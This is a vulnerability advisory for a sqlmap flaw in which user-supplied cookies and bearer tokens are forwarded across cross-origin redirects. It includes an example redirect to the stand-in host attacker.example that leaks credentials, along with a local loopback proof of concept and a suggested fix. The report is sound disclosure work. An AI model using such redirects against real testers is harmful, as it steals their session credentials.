CVE-2026-133305
sqlmap Credential Leak via Cross-Host HTTP Redirects
Cross-Origin Credential Leakage: Cookie/Authorization headers forwarded across HTTP redirects
Technical Report
CVE-2026-133305 — Credential Disclosure via Cross-Origin Redirect (sqlmap)
| Field | Value |
|---|---|
| Product | sqlmap |
| Tested versions | 1.10.11.88#dev / 1.10.11.89 |
| Vulnerability class | CWE-200: Exposure of Sensitive Information to an Unauthorized Actor |
| Secondary classification | CWE-522: Insufficiently Protected Credentials |
| Affected component | lib/request/redirecthandler.py |
| Attack vector | Network |
| Privileges required | None |
| User interaction | Required |
| Affected asset | User-supplied session cookies and authentication headers |
| CVSS 3.1 | 4.3 (Medium) |
| CVE | CVE-2026-133305 |
1. Summary
I identified a security vulnerability in sqlmap's HTTP redirect handling mechanism that allows sensitive HTTP headers supplied by the user to be forwarded to a different origin.
The issue occurs because sqlmap preserves user-supplied headers such as Cookie, provided through --cookie, and Authorization or other custom headers supplied through -H, even when a redirect points to a different host or port.
Under normal circumstances, HTTP clients such as browsers, curl, and Python requests strip sensitive authentication headers when following cross-origin redirects. However, sqlmap may forward these headers to the new origin.
When --batch is enabled, sqlmap follows redirects without requiring interactive confirmation. This behavior can allow a malicious or compromised target, or a target containing an open redirect, to cause the tester's session credentials to be sent to a third-party server.
As a result, session cookies and bearer tokens supplied by the sqlmap user for the original target may be exposed to an unauthorized origin.
2. Vulnerability Details
2.1 Classification
- CWE-200 — Exposure of Sensitive Information to an Unauthorized Actor: Sensitive authentication information is forwarded to an unauthorized origin.
- CWE-522 — Insufficiently Protected Credentials: Authentication credentials are not adequately protected during cross-origin redirects.
- Affected component:
lib/request/redirecthandler.py - Affected mechanism: HTTP redirect handling.
- Affected headers:
Cookie,Authorization, and user-supplied sensitive custom headers.
2.2 CVSS v3.1 Assessment
CVSS 3.1 Base Score: 4.3 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
| Metric | Value | Description |
|---|---|---|
| Attack Vector (AV) | Network | The attack occurs through HTTP redirects over a network. |
| Attack Complexity (AC) | Low | No race condition or complex procedure is required. |
| Privileges Required (PR) | None | The attacker does not need privileges on the sqlmap user's system. |
| User Interaction (UI) | Required | The user must initiate the sqlmap operation against the target. |
| Scope (S) | Unchanged | The impact is limited to disclosure of sensitive information supplied by the sqlmap user. |
| Confidentiality (C) | Low | Session cookies or bearer tokens may be disclosed. |
| Integrity (I) | None | No direct integrity impact is demonstrated. |
| Availability (A) | None | No direct availability impact is demonstrated. |
2.3 Root Cause
The vulnerability originates from header handling in sqlmap's HTTP redirect implementation, located in lib/request/redirecthandler.py.
During an HTTP request, authentication headers supplied by the user may be preserved and forwarded to the redirected request even when the destination origin changes.
For example, the initial request may contain:
GET /?id=1 HTTP/1.1
Host: target.example
Cookie: session=MYSECRETCOOKIE
Authorization: Bearer MYSECRETTOKEN
If the target responds with:
HTTP/1.1 302 Found
Location: http://attacker.example/leak
sqlmap may follow the redirect and forward the sensitive headers to the new origin.
This behavior creates a credential disclosure risk for users who expect their authentication information to remain restricted to the originally specified target.
2.4 Interaction with --batch
Under normal operation, sqlmap may ask the user whether a redirect should be followed.
Example:
got a 302 redirect to 'http://127.0.0.2:8002/leak'.
Do you want to follow? [Y/n] Y
When --batch is enabled, the interactive confirmation is skipped and the default response is applied.
Consequently, the user may not realize that sensitive headers are being sent to a different origin.
2.5 PoC Scenario
The PoC uses two HTTP servers running on separate loopback addresses:
- Server A:
127.0.0.1:8001— Initial target server. - Server B:
127.0.0.2:8002— Receives the redirected request.
Server A responds with an HTTP 302 Found redirect pointing to Server B. Server B logs the Cookie and Authorization headers received in the redirected request.
The test uses fake credentials and does not require real user accounts.
2.6 Running the PoC
Start the PoC server:
python3 sqlmap_poc.py
Run sqlmap in another terminal:
python3 sqlmap.py \
-u "http://127.0.0.1:8001/?id=1" \
--cookie="session=MYSECRETCOOKIE" \
-H "Authorization: Bearer MYSECRETTOKEN" \
--batch
2.7 Observed Behavior
After the redirect is followed, Server B receives:
[B] REQUEST RECEIVED: /leak
[B] Authorization: Bearer MYSECRETTOKEN
[B] Cookie: session=MYSECRETCOOKIE;srv=abc
This demonstrates that sensitive authentication headers initially supplied for 127.0.0.1:8001 are also sent to the different origin at 127.0.0.2:8002.
3. Attack Flow
- The user runs sqlmap against a target application.
- The user supplies session credentials and authentication headers through
--cookieor-H. - The target responds with an HTTP redirect to an attacker-controlled origin or an origin reachable through an open redirect.
- sqlmap follows the redirect.
- User-supplied sensitive headers are forwarded to the new origin.
- The third-party server captures session cookies or bearer tokens.
4. Impact
This vulnerability can expose authentication credentials supplied by security researchers and penetration testers while using sqlmap.
Potential consequences include:
- Disclosure of session cookies.
- Exposure of bearer tokens.
- Unauthorized acquisition of valid session credentials.
- Potential misuse of captured credentials to access the corresponding application.
This vulnerability does not provide code execution within sqlmap itself. Its primary security impact is the disclosure of user-supplied credentials to a different origin.
5. Recommended Fix
The redirect handler should compare the source and destination origins.
When the origin changes, sensitive headers should not be forwarded to the redirected request, including:
CookieAuthorization- User-supplied custom headers containing authentication credentials.
This protection should apply to all cross-origin redirects, rather than only when --auth-refresh is enabled.
Additionally, sqlmap should consider preventing automatic cross-origin redirects by default when running in --batch mode, or applying an explicit security check before following them.
6. Workarounds
Until the issue is fixed, the following options can reduce the risk.
Disable redirects:
--ignore-redirects
Restrict the request scope:
--scope="target.example"
These options help prevent sensitive credentials from being sent to unexpected destinations.
References
Researcher: Umut SEVİNÇ (VulnSVNC)
